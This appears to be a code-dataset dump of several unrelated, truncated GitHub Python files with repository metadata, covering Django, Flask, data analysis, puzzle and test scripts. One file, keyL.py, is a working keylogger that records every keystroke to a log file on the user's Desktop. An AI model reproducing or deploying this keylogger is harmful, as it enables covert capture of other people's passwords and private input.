from Utils import OutputFileStream,Debug
from SolverInfo import SolverInfo
class BaseModel:
_lock = threading.Lock()
_global_env = None
_global_env_counter = 0
@classmethod
... | [
"hmk16@duke.edu"
] | hmk16@duke.edu |
a18627bce6098d8ac5c613733b5c2e39dd0620c5 | 35450961471c5c8f9e6170742038a4c55da0c565 | /venv/Scripts/rst2html4.py | 0040f461ce094c136466982d5666ead4adffe4cb | [] | no_license | Anum-Zargar/Robot_Framework | c8c6b3f2de2e9b185a37ee6e2d92c28ab068adc0 | c8ba84574be27faad22f2d6df54d7d01d71c98b7 | refs/heads/master | 2022-12-11T06:59:27.416401 | 2020-06-17T22:14:51 | 2020-06-17T22:14:51 | 273,075,629 | 0 | 1 | null | 2022-11-29T14:30:16 | 2020-06-17T20:50:29 | Python | UTF-8 | Python | false | false | 774 | py | #!C:\Users\Anum Zargar\PycharmProjects\Robot_Framework\venv\Scripts\python.exe
# $Id: rst2html4.py 7994 2016-12-10 17:41:45Z milde $
# Author: David Goodger <goodger@python.org>
# Copyright: This module has been placed in the public domain.
"""
A minimal front end to the Docutils Publisher, producing (X)HTML.
The ou... | [
"zargaranum@gmail.com"
] | zargaranum@gmail.com |
2ee2823990a2f709ca62c8938e6a09c4bf54def3 | 95d7e4e882c55eca347d56e56f4ff1375465a6af | /Median.py | 52bb5104c29871d5dada962bf95b771a83af5b03 | [] | no_license | Rishidakshin2005/C-104 | 52812311e35b0c0bda574b6d0d8fa08991f5087c | 1f13c6dc2089f91c9b7ae1538c1ed03c74d3fba1 | refs/heads/main | 2023-06-22T09:32:23.929301 | 2021-07-14T11:25:28 | 2021-07-14T11:25:28 | 385,914,729 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 472 | py | import csv
with open('Data.csv',newline ='')as f:
reader=csv.reader(f)
file_data=list(reader)
file_data.pop(0)
newdata=[]
for i in range(len(file_data)):
num=file_data[i][1]
newdata.append(float(num))
n=len(newdata)
newdata.sort()
#logic to find median
if n % 2==0:
median1=float... | [
"noreply@github.com"
] | noreply@github.com |
982e214ac6779ae5acf317fb039a66ab7bf62a8e | 65ddc8954ba2e9c77ac70d540252fe4cc6d60611 | /keyL.py | b45a7e6924b13317be9cddab545ff734106c29f6 | [] | no_license | Intern-Yago/keyLogger1.0_Python | 44ba99be40b363f27f61f4f15219526f698964ef | dc382f4c279b0e6e8fcd931fd24cbe4c73d314e2 | refs/heads/main | 2023-06-12T14:05:54.114635 | 2021-07-05T22:12:34 | 2021-07-05T22:12:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | from pynput.keyboard import Listener
import os
import logging
username = os.getlogin()
logging_directory = f"C:/Users/{username}/Desktop"
logging.basicConfig(filename=f"{logging_directory}/mylog.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
def key_handler(key):
logging.info(key)
with Listener(... | [
"yagovictorbotafogo@gmail.com"
] | yagovictorbotafogo@gmail.com |
b376047b8fffc918dea88a06d8f95217ed1a01eb | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/otherforms/_coolants.py | 52648d1c9cbfeb1d8e6f52d2d454be9cc0ff0119 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 226 | py |
#calss header
class _COOLANTS():
def __init__(self,):
self.name = "COOLANTS"
self.definitions = coolant
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['coolant']
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
1ef7afe72cbdc8927890ce2e407c409e011ce614 | 71dc9a07474511e0c60685a0ef8a4a38dc7caa2d | /Praktikum 06/operasi apdet.py | 0a93430215cb95b87681ed34d0bb14282f516d28 | [] | no_license | yudhistira2805/Python-Projects-Protek | 2a9b0f95a9a5be015e6d51a32ad084a6129b0750 | ef616e1c17807c2406faa4adfdd106a1986a8810 | refs/heads/main | 2023-02-15T15:47:20.502304 | 2021-01-12T16:05:40 | 2021-01-12T16:05:40 | 301,591,965 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 278 | py | from operation import *
print(' 2 + 4 * 6 - 4 = ', kurang(tambah(2, kali(4, 6)), 4))
print('(4 + 7) * (6 - 9) = ', kali(tambah(4, 7), kurang(6, 9)))
print('(10 + 2) / (7 + 5) / (12 -34) = ', bagi(bagi(tambah(10, 2), tambah(7, 5)), kurang(12, 34)))
| [
"71997778+yudhistira2805@users.noreply.github.com"
] | 71997778+yudhistira2805@users.noreply.github.com |
265d3fe67eefc5514a347f467ef3e2d4639b174f | c521638345b82a715fbe422541a971800264bdef | /Day_8/1_Creating_Dictionaries.py | 2949ea0af54acd8978fee2cc2bc21de2164335c3 | [] | no_license | Nsk8012/30_Days_Of_Code | 9d15ed485e5d5fe5dfd4834a6e925865c0954790 | 1aa3e3ddacd9d2c381babeafc0804ad369f4398b | refs/heads/master | 2023-02-14T18:10:19.024776 | 2021-01-12T07:13:10 | 2021-01-12T07:13:10 | 328,902,610 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 504 | py | # 30_Days_Of_Code
# Day 8
# Dictionary will have key:value.
empty_dict = {}
# Dictionaries with Values
dct = {'Key1': 'Value1', 'Key2': 'Value2', 'Key3': 'Value3', 'Key4': 'Value4'}
print(dct)
# len is used to find the length od dicitionaries
print(len(dct))
# Accessing Dictionary Items by calling keys init.
print(d... | [
"nishanth818@gmail.com"
] | nishanth818@gmail.com |
468e7f247b680978c797876a094c208acac4e48e | 9b997728ba9c54cfedfbcacd5e8f20c611e26b8c | /app.py | 0b9cdd63b3eed4cfa790397abc471650c4239c92 | [] | no_license | HamzaAlHajjChehade/Heroku-Demo | 0939fe52efefecf00c374e324160d2bd102782e1 | 27edf055f8f7e80328ad31ef7ca593987f2fa1e6 | refs/heads/main | 2023-07-15T15:58:18.180299 | 2021-08-20T08:11:32 | 2021-08-20T08:11:32 | 398,171,170 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 664 | py | import pickle
import numpy as np
from flask import Flask,render_template,request
app=Flask(__name__)
model=pickle.load(open('USA_Housing.pkl','rb'))
@app.route('/')
def home():
return render_template('index.html')
@app.route('/predict/', methods=["POST"])
def predict():
int_features=[float(x) ... | [
"noreply@github.com"
] | noreply@github.com |
ae8384d7325ab05aae05cc3dff842e3ae00aef65 | 632b9b323dc29c67fd6b8cdbec6ec80161ad484a | /extractInstitution.py | 126544f887ba375a7c57a7e8e67987ecdd57ee55 | [] | no_license | SixingYan/Academic-Relationship-Network | 3a08f7cf5d9d1a73f8639c883257fc76dbe86376 | 94dbfcc76a734005ffceb08e31763112b0d4462b | refs/heads/master | 2021-01-21T17:57:14.388478 | 2018-02-23T09:48:31 | 2018-02-23T09:48:31 | 92,003,208 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,655 | py | # -*- coding: utf-8 -*-
import re
from tool import getResult,getCursor,readTXT
from bs4 import BeautifulSoup
import os
files_path = 'E:/Code/Data/dlibrary'
conn,cur = getCursor()
#import os;os.chdir('e:/Code/Python');import extractInstitution;extractInstitution.mainFunction()
def cleanInstit(instit):
#
institNe... | [
"plutoyem@outlook.com"
] | plutoyem@outlook.com |
fa3e1e5a03b34cf9667f4072e97ba84be7134e14 | f8ef8828377131f38a75e25f1571d3e0ea7b4837 | /api/migrations/0006_match_expansion.py | 6d76c5f3773954536724f113207af5736a647ccb | [] | no_license | szpone/bg-journal | 8b46742e2b71db820e5fb1e5f690c0362586661e | 80a3570414773daf34458ca068d051cbfe29a8b7 | refs/heads/master | 2022-05-05T06:10:33.957525 | 2019-05-02T17:11:48 | 2019-05-02T17:11:48 | 165,717,971 | 0 | 1 | null | 2022-04-22T21:07:23 | 2019-01-14T19:04:02 | Python | UTF-8 | Python | false | false | 499 | py | # Generated by Django 2.1.7 on 2019-03-18 20:03
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('api', '0005_remove_user_confirm_password'),
]
operations = [
migrations.AddField(
model_name='m... | [
"nikola.adamus@gmail.com"
] | nikola.adamus@gmail.com |
0c94a2cb26a92348f7d014d26606cdc40d3f4f9c | 16c726896831bbdaca78c66add4fc19c3ac87b82 | /day_3/exporter.py | 530b92da568eba0d1e75d6d4808e369d7dabe069 | [] | no_license | Mugeri/Bootcamp-7 | 8371ffd5afd4e2f7c425c3bc2a7c8b5b351e6f15 | e65701a039722ef1aa4f4ebc88873393cf32fc8e | refs/heads/master | 2016-09-13T20:33:35.486272 | 2016-04-29T13:15:33 | 2016-04-29T13:15:33 | 57,123,944 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 345 | py | people = []
def super_sum(*args):
return sum(*args)
def hello_again(name, age):
return "I am {} and {} years old".format()
def max_min(A):
'''
Returns max value - min value e.g. [10,20,-5,6,50,8]
'''
#return max(A) - min(A)
max_, min_ = A[0], A[0]
for i in A:
if i > max_:
max_ = i
if i < min_:
min_ ... | [
"nyotuo17@gmail.com"
] | nyotuo17@gmail.com |
af7fc2e8ee86e5888debf455bc002cf3efad303b | edb0a19733348f0599d9f8918714b279f4b24e23 | /blog/views.py | 8dcb02436d5d458207e87fa4a3070b57e3b9b128 | [] | no_license | Voahary93/djangogirls | 5612d59377b5395473d53699a9141872a61b82c0 | d84eaacb8676e312f971fd87ddba4d7413e4ec67 | refs/heads/master | 2021-01-09T20:35:03.238675 | 2016-08-15T13:20:49 | 2016-08-15T13:20:49 | 65,738,288 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 208 | py | from django.shortcuts import render
from .models import Post
# Create your views here.
def post_list(request):
Rasoa=Post.objects.all()
return render(request, 'blog/post_list.html', {"Posts": Rasoa})
| [
"rvoahar@gmail.com"
] | rvoahar@gmail.com |
e9fc6c78d84b7cb72cafdfc3eb89ac707e55484e | 47a0c02bf97956ebef9aa03cbc818ff821376f70 | /7/7.py | 25587f85b58329bb0fe6d857b5894717a2cdb059 | [] | no_license | capoch/AdventOfCode2019 | eaf79d1e0390b0b5db36a83368ef863238d66381 | 4bd81582d0f5fcdf4f81c045e6cd23d99d8d01cb | refs/heads/master | 2020-11-25T12:17:12.588365 | 2020-02-05T06:13:40 | 2020-02-05T06:13:40 | 228,654,765 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,928 | py | from intcode import Intcode
from itertools import permutations
def main():
memory = [3,8,1001,8,10,8,105,1,0,0,21,38,55,80,97,118,199,280,361,442,99999,3,9,101,2,9,9,1002,9,5,9,1001,9,4,9,4,9,99,3,9,101,5,9,9,102,2,9,9,1001,9,5,9,4,9,99,3,9,1001,9,4,9,102,5,9,9,101,4,9,9,102,4,9,9,1001,9,4,9,4,9,99,3,9,1001,9,3,9,1... | [
"philippburri@Philipps-MacBook-Air.local"
] | philippburri@Philipps-MacBook-Air.local |
3ab6d509befcf96a113cf0b124e9e032be32006b | a83f3c38426e9b7948ec057cbb1d0f83674d1ca6 | /lesson08/example02.py | 9e201e21ce22bad56292803b05d100595beae284 | [] | no_license | maryb0r/geekbrains-python-hw | 9036344ecbc2a042cb65ee9a6e7c69a460d25a20 | 0e9b958a817af14ab3c1edcc6629ac651f8f4fe7 | refs/heads/main | 2023-03-13T04:25:26.335698 | 2021-03-03T15:09:14 | 2021-03-03T15:09:14 | 338,552,350 | 0 | 0 | null | 2021-03-03T15:09:15 | 2021-02-13T10:47:23 | Python | UTF-8 | Python | false | false | 841 | py | # Создайте собственный класс-исключение, обрабатывающий ситуацию деления на нуль.
# Проверьте его работу на данных, вводимых пользователем.
# При вводе пользователем нуля в качестве делителя программа должна корректно обработать эту ситуацию
# и не завершиться с ошибкой.
class ZeroDivision(Exception):
def __... | [
"noreply@github.com"
] | noreply@github.com |
ac3365987220740922a7d05f14ea2e33c4f6120a | 1590492bc7a8bcf7f0fcdca5184ebe97d5527a6d | /media/watchdog_fotoresize.py | 1e27424b6f5069900f0b977d53a89e796513a0b9 | [] | no_license | foscomerlacci/gse | ce3c99e5335d1df0280a96de6431be4719bf0ce1 | 4ab6dc6485bf536c2255532c54a85232f67f877a | refs/heads/master | 2020-03-13T22:04:24.002241 | 2019-10-08T15:45:12 | 2019-10-08T15:45:12 | 131,309,447 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,655 | py | import sys
import time
import os
from watchdog.observers import Observer
from watchdog.events import PatternMatchingEventHandler
from PIL import Image, ExifTags
sys.path.append("../")
if __name__ == "__main__":
# path = sys.argv[1]
patterns = ["*.jpg", "*.JPG"]
ignore_patterns = ""
ignore_directories ... | [
"foscomerlacci@tiscali.it"
] | foscomerlacci@tiscali.it |
bb69ff72e72998f4aae50fd44193652df3ea9ebc | eeb6a78022d177f32933f79092b8d16ec800af02 | /two_main1.py | 6a289b4c51c618cd869cce239da3ac25bf83c592 | [] | no_license | wabetarou/MachineLearning-assingnment | ea419ec889927c419dc96543cd3b47995e558413 | 5cf63c1fa8ffb7dc64586f75aebccedcff748b3b | refs/heads/master | 2020-06-27T00:16:52.701302 | 2019-07-31T06:50:35 | 2019-07-31T06:50:35 | 199,796,453 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,564 | py | # requirement
import numpy as np
import matplotlib.pyplot as plt
import cvxpy as cv
from two_method import pg
A = np.array([[3, 0.5],
[0.5, 1]])
mu = np.array([[1],
[2]])
lam = 2
x_1 = np.arange(-1.5, 3, 0.01)
x_2 = np.arange(-1.5, 3, 0.02)
X1, X2 = np.mgrid[-1.5:3:0.01, -1.5:3:0.02]
f... | [
"noreply@github.com"
] | noreply@github.com |
dba760a081168b07da49364f0d7449d2b7849238 | b6b380e6f5353dba2256211033cebec638dffe4a | /packages/fuego/fuego/serialization/chemkin/unpickle/parsers/Species.py | cb4d4a0b1bd9d21462be0519db57925920608495 | [] | no_license | danse-inelastic/pyre-all | 0ddf640b68f6089e40345e9a8e20562a8b035b3c | 59cc235b6481586c58415535bbec660470218e31 | refs/heads/master | 2021-01-18T12:31:27.905459 | 2015-04-26T04:57:46 | 2015-04-26T04:57:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,335 | py | #!/usr/bin/env python
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Michael A.G. Aivazis
# California Institute of Technology
# (C) 1998-2007 All Rights Reserved
#
# <LicenseText>
#
# ~~~~~~~~~~~~~~~~... | [
"michael.aivazis@gmail.com"
] | michael.aivazis@gmail.com |
bfc85ceaf64f89029c61b0d8143f30d03b11c31d | 1a6cff2fd4e17ea857c64b18cae49444033fb6e6 | /StandardData.py | e31a67617b3f9f64b9d22aa8280eff61cc58af30 | [] | no_license | alperbek/Glaucoma | 077f2df7f7bb4a405eade80551580cf050ce5178 | c61e9add3e52241bd93cdf275296372d87079c2c | refs/heads/master | 2023-05-30T18:10:09.526386 | 2021-06-15T00:36:02 | 2021-06-15T00:36:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,050 | py | import numpy as np, pandas as pd, matplotlib.pyplot as plt, seaborn as sns
def MinMaxScaler(X, min_val, max_val):
X = (X-X.min())/((X.max()-X.min()))
X = min_val + X*(max_val-min_val)
return X
def StdScaler(X, mean=0, sigma=1):
X = (X-X.mean())/X.std()
X = mean+sigma*X
return X
eps = None
def StandardData(N):... | [
"chaudharyachint08@gmail.com"
] | chaudharyachint08@gmail.com |
f7d985e78d4bef3f5ccf753c985b66929a4cc465 | 6cd39ae21ad2779c42d2f53215818a5836452f18 | /GlobalEnvironmentChange/AdditionalWork/convlstmgru-master/convlstmgru-master/generate_test_set.py | 52de8af885414b89da8f1c0f89b05cb190b2fa67 | [
"MIT"
] | permissive | AEight1973/DailyExercise | 6bd1bd634defe7a66ddb2fbce4426ff9ef5ab5b9 | dcb09b0975409304d05136222bdb5cd5424e6c32 | refs/heads/master | 2023-05-14T21:40:50.113984 | 2021-05-24T16:53:22 | 2021-05-24T16:53:22 | 350,611,457 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,027 | py | from __future__ import division
import sys
import h5py
import numpy as np
class MovingMnistTestSetGenerator():
"""Data Handler that creates Bouncing MNIST dataset on the fly."""
def __init__(self, mnistDataset='mnist.h5', mode='standard', background='zeros', num_frames=20,
save_dir="./mnist... | [
"1015252562@163.com"
] | 1015252562@163.com |
cb562f1501ebd70b4953051bffe97d1b3be9ab1f | 147d0863f4590649a90ea5f78c66974723a87247 | /api/api_request.py | 7e3ae65e10c255203d5ebc25a3c87d4874377cbe | [] | no_license | jinchuika/ligabot | af5bd5443dc0df7d929e7b866869ba075c91db55 | 69544912e1ac46f281ba2fc78ff913d60d9a2a38 | refs/heads/master | 2021-01-20T12:50:32.894359 | 2017-05-08T14:07:47 | 2017-05-08T14:07:47 | 90,419,163 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,788 | py | import requests
import click
from django.conf import settings
from datetime import datetime
class RequestHandler(object):
BASE_URL = settings.BASE_URL
API_TOKEN = settings.API_TOKEN
LIVE_URL = 'http://soccer-cli.appspot.com/'
verbose = False
def __init__(self, verbose=False):
self.verbos... | [
"jinchuika@gmail.com"
] | jinchuika@gmail.com |
f289537b2553ce7f199792285d39577bef5e60ce | f8693e34af59381fe55e3021caf2f26e92983c4a | /qa/rpc-tests/getblocktemplate_longpoll.py | 70744cf2f2a7f42180b0c22c269cab0b96458c09 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | antonjuniordev/DonCoin | 8165d6cea2602fd9ac0728e4908b51e730dd606e | b4951f591d61d7d929f17eb98e52954fef3c2035 | refs/heads/master | 2021-08-06T06:30:10.705476 | 2017-11-03T15:51:17 | 2017-11-03T15:51:17 | 107,980,292 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,976 | py | #!/usr/bin/env python3
# Copyright (c) 2014-2016 The DonCoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
from test_framework.test_framework import DonCoinTestFramework
from test_framework.util import *
import ... | [
"antonjuniordev@gmail.com"
] | antonjuniordev@gmail.com |
3f028405299acfdb1e110a0e371904255a993ab8 | 78998ebec2c20af4539241e5f4566632349c19a6 | /Music_Genre_Classfier.py | b7be6e018ad9e18a41e6c67abe07007d77f4a8ae | [] | no_license | Amlana-P/classview | e31addd1cdd09344effe10e93ace450a458d46de | a7fc7497c10e3cbc7fab883f79910f35251b33b1 | refs/heads/master | 2022-12-05T22:10:08.672657 | 2020-08-20T14:57:03 | 2020-08-20T14:57:03 | 289,034,315 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,824 | py | import librosa.display
import matplotlib.pyplot as plt
import sklearn
# Loading the audio file in wav format
audio_path = 'C:/Users/Hp/PycharmProjects/Classview.tech/music.wav'
x, sr = librosa.load(audio_path)
# Plotting the waveform of the audio file
plt.figure(figsize=(14, 5))
librosa.display.waveplot(x, sr=sr)
# ... | [
"amlana.pattnayak@gmail.com"
] | amlana.pattnayak@gmail.com |
6adbedc03fef1ba518e4511db30447d5643456ad | 489d4a45fe1959841de9f73570f0ffe0a090d231 | /todoproject/todoproject/settings.py | 671ae32e6ebf46957d253cf1a6decac103d3aba6 | [] | no_license | wkdfury/Shop | b920a06bf745ac0e09149340be5e5dac222cf6e0 | 612291471387d53e3d73edfb0d4d3a9726537665 | refs/heads/master | 2023-06-28T02:05:10.804611 | 2021-07-29T16:17:30 | 2021-07-29T16:17:30 | 390,774,630 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,470 | py | """
Django settings for todoproject project.
Generated by 'django-admin startproject' using Django 3.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
import os... | [
"aadilfury@gmail.com"
] | aadilfury@gmail.com |
4c0c65005cc42cde30e24a8d111d412f4315cc1d | 8890dc7f03ae09dd539a9f06644bdf8d2e438cd6 | /neuralnet.py | 94e7892a27bb2d97d70adbaf8d452998cb720c6e | [] | no_license | ElleNajt/TinyProjects | 1dd3b8bc83179923f35d64242233a9f9fb3ebd28 | ec8fc9f9b84fe0be86a7d45eff41343e8b759004 | refs/heads/master | 2023-02-06T05:08:13.373371 | 2020-12-28T13:39:34 | 2020-12-28T13:39:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,340 | py | ################################################
#############ARFF READER:
#!/usr/bin/python
import sys
######Arff Reading
###SPEAK: [attributes, ordering, data] = loaddata("sonar.arff.txt")
######------------------ Arff reader
def loaddata(filename):
f = open(filename, 'r')
lines = f.readlines()
i = 0
while l... | [
"lnajt4@gmail.com"
] | lnajt4@gmail.com |
f7debe817af0afd601474afec973beb67886808b | f9183ce2308090dbb6a8c2f5d96c17c56a8ca768 | /main/forms.py | c9618dd619531607d80ecd51fc59f05971ac3664 | [] | no_license | asad2200/UrlShortener | a9b0e0f5cce203dd2bcc1244de7feb99588c6c71 | 055d83d5a1bbf9628a8f045d152dc85c58e9460f | refs/heads/master | 2023-05-13T23:44:09.748618 | 2021-05-29T10:56:17 | 2021-05-29T10:56:17 | 371,616,730 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 248 | py | from django import forms
from .models import URL
class URLForm(forms.ModelForm):
class Meta:
model = URL
fields = ["name", "url"]
widgets = {
"url": forms.Textarea(attrs={"rows": 2, "cols": 5}),
}
| [
"asadjakhavala92@gmail.com"
] | asadjakhavala92@gmail.com |
6eec0835adbe4db58937a23ebea9c0ecc039e30f | 341f47d8c5a4a0a191efed8a78e7137d592f01ad | /chat_program/sender.py | 7fe3f313c9adb624a5268cda99932ac1358e20eb | [] | no_license | gauravjain99/Python-Projects | 3d88acf19b71d78dd77fd8bc04cfab57822f2851 | 90422a9334012a2dddb1b5eb1f2fa0e45cdc11a8 | refs/heads/master | 2020-03-18T06:28:17.946931 | 2018-05-28T10:33:40 | 2018-05-28T10:33:40 | 134,397,783 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 649 | py | #!/usr/bin/python3
import socket
import threading
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ip_address = socket.gethostbyname(socket.gethostname())
port = 9998
# IP address of the person to talk to
opposite_ip = input("Enter IP address of the person to talk to : ")
s.bind((ip_address,port))
print("Ent... | [
"gauravj9414@gmail.com"
] | gauravj9414@gmail.com |
f75f33d950309ba2333f6b2ace38e72f6bf95b7c | 65675a487fee2ff9651675ae6a09c8d62682c2a4 | /23b.py | e44397b4dee9ab0ef0746d70edcb656548770bd5 | [] | no_license | Abarn279/advent-of-code-2020 | e132f4b04ee1b777ddc00bb97322f707a72c86e0 | ea840ee1e7a8cafedfe6f0b9f3e64a2e8b6f0c80 | refs/heads/master | 2023-02-04T21:11:06.771592 | 2020-12-26T02:37:25 | 2020-12-26T02:37:25 | 317,412,968 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,037 | py | node_dict = {}
class SLLNode:
''' Singly linked list node '''
def __init__(self, nxt=None, data=None):
if nxt is None:
self.next = self
else:
self.next = nxt
self.data = data
node_dict[self.data] = self
def insert_after(self, other_val):
... | [
"Abarn279@gmail.com"
] | Abarn279@gmail.com |
d1aa49ff888c33fc8ce933754b64cb779c56098e | 9a335e0c99250de6c0429b367107153ff0633fe5 | /sine_of_num.py | d8f72e1928f379707c9fa205b00c72a59b9f297c | [] | no_license | felcygrace/guvi_player | 16f4e92be00625490b013f0f833350c9b4185fe3 | cf74f455707ab66d08a0801440033a63871102dd | refs/heads/master | 2020-05-31T10:31:42.720423 | 2019-06-22T09:39:23 | 2019-06-22T09:39:23 | 190,242,881 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 126 | py | import math
n=int(input())
a=math.randians(n)
if a>0 and a<1:
print(round(math.sin(a),2))
else:
print(round(math.sin(a)))
| [
"noreply@github.com"
] | noreply@github.com |
245c56ef857815983db3408be84de2bef6d81733 | 455639a119c197971e4ea373ee1f28e6021f6b25 | /src/cleaner_datasets.py | 01b382e0cfc97631b17df333801c31f203ba0986 | [] | no_license | PLombao/TFM_StockForecast | 2013b8bf1b8fd40a1f20dca0ce1de3d88e5979b6 | e0775d26252eb643222a823b377fa0a94997e6d4 | refs/heads/master | 2022-10-20T22:43:36.022700 | 2020-06-10T11:16:50 | 2020-06-10T11:16:50 | 250,330,616 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,444 | py | import numpy as np
import pandas as pd
from src.cleaner_utils import check_len_ts, clean_csv, filter_rejected_products
def clean_ventas(data):
print('{:=^40}'.format(' CLEAN VENTAS '.format()))
# Drop rows for products with no stock data
data = filter_rejected_products(data)
if data.shape[0] != dat... | [
"pablombao@gmail.com"
] | pablombao@gmail.com |
ed9a9a16fa606dc3a0b92e7d93dbca7f3237abe1 | 7101871e7a82d202483ada3053fec155ce7824a6 | /test/functional/sapling_wallet_send.py | 39c6d0a107af083c9d58aa278ac3ef4d18f9ad78 | [
"MIT"
] | permissive | trumpcoinsupport/TrumpCoin | 633a9992e46cab00774d01e569f4611b7f6b4b54 | 098c62ea249a63ca1cc31d5f37c6209ccdf50e2a | refs/heads/master | 2023-01-11T20:22:03.469608 | 2021-12-31T10:04:39 | 2021-12-31T10:04:39 | 194,952,065 | 15 | 14 | MIT | 2023-01-08T02:49:09 | 2019-07-03T00:24:45 | C++ | UTF-8 | Python | false | false | 3,831 | py | #!/usr/bin/env python3
# Copyright (c) 2018 The Zcash developers
# Copyright (c) 2020 The TrumpCoin developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or https://www.opensource.org/licenses/mit-license.php .
from decimal import Decimal
from test_framework.test_framework impor... | [
"sebgruby@gmail.com"
] | sebgruby@gmail.com |
154cb25f4d131b7c5a1bc3e0555d3cda99a2e203 | 044d91c25f619f1a1f931fb8b42bb35f16bd3730 | /P3HW2_SoftwareSales_Bullock.py | bf06ebf1ea50b6cdcc111f141568d85bc3e7a917 | [] | no_license | TBullock00/CTI-110 | 1ec9d1d35825e1184463f2427f035451f0799319 | c273e3839c1eab0e00791231ee5ce9d606c0e77f | refs/heads/master | 2020-03-20T05:55:50.079258 | 2018-07-17T17:40:58 | 2018-07-17T17:40:58 | 137,231,746 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,339 | py | # CTI-110
# P3HW2 - Software Sales
# Tanner Bullock
# 20 June 2018
#
def main():
print ("The sale price is $99.")
price = 99
quantity = int (input ("Please enter the quantity ordered: "))
if quantity > 9 and quantity < 20:
discount = .10
print ("Your discount is 10% off ... | [
"noreply@github.com"
] | noreply@github.com |
fe1a14d985fbeb58a98063495b0864a69dc0351a | 707a2da8b0cce6f2f90456addac13512796e6ede | /Week6 - AST/ProgramingCode/q4/initial/target/BKITParser.py | 5b0baaa2a984ad3540dd77455ac4b145b1ffc8ce | [] | no_license | zelvor/cse-ppl | f343afc6077bb4316a4e045e528e14dc9bd422e9 | 3ed72ecd1dbf002580a8feccb85945698d72f269 | refs/heads/master | 2023-07-18T02:56:54.603513 | 2021-09-03T07:48:40 | 2021-09-03T07:48:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,230 | py | # Generated from main/bkit/parser/BKIT.g4 by ANTLR 4.9
# encoding: utf-8
from antlr4 import *
from io import StringIO
import sys
if sys.version_info[1] > 5:
from typing import TextIO
else:
from typing.io import TextIO
def serializedATN():
with StringIO() as buf:
buf.write("\3\u608b\ua72a\u8133\ub9ed\u41... | [
"rongmaphunkhoi@gmail.com"
] | rongmaphunkhoi@gmail.com |
8052eaf8f87b8df50aaa43262f903d5ad9172bae | 08e31d6caab059333d00fb8ad265425f6fbaead2 | /mysite/settings.py | e0db87458b078696604dac98a98154a607980fa1 | [] | no_license | Shaislam1/my-first-blog | 357dabadc33c7455252c56417fefe70d405b0e6e | 80d6da9781e2866204a62f826a3bcfe35f6a6c15 | refs/heads/master | 2022-10-04T21:53:26.541010 | 2020-06-07T17:49:13 | 2020-06-07T17:49:13 | 269,023,078 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,192 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 2.2.12.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
#... | [
"shaislam.shabiev@gmail.com"
] | shaislam.shabiev@gmail.com |
8e1e0283fb2044aa3627d8c5654abac8da8a520e | 5b0eb41840e076c0085fbf69e73da499973cd45d | /blog/admin.py | c1e993cacd3513adc0b9d45c4200b617a2d20153 | [] | no_license | idenmart98/blog1 | 36e779e9594ea964bb9defff1cf2fff3e9fd11b2 | b05f10bfcf12ddd7a029cca2c1ea4503fbe2a467 | refs/heads/main | 2023-06-03T17:15:49.972634 | 2021-06-18T14:30:19 | 2021-06-18T14:30:19 | 377,145,915 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 199 | py | from django.contrib import admin
from .models import Post, Comment, Categories, Rate
admin.site.register(Post)
admin.site.register(Comment)
admin.site.register(Categories)
admin.site.register(Rate)
| [
"idenmart07@gmail.com"
] | idenmart07@gmail.com |
0835966ff2ce83229633c6df3ebc0d562c265106 | 82770c7bc5e2f27a48b8c370b0bab2ee41f24d86 | /microblog/flask/venv/lib/python2.7/site-packages/scipy/stats/tests/test_mstats_basic.py | d4606a58c0ee10a92b657014fb576d2ae6809fe9 | [
"Apache-2.0"
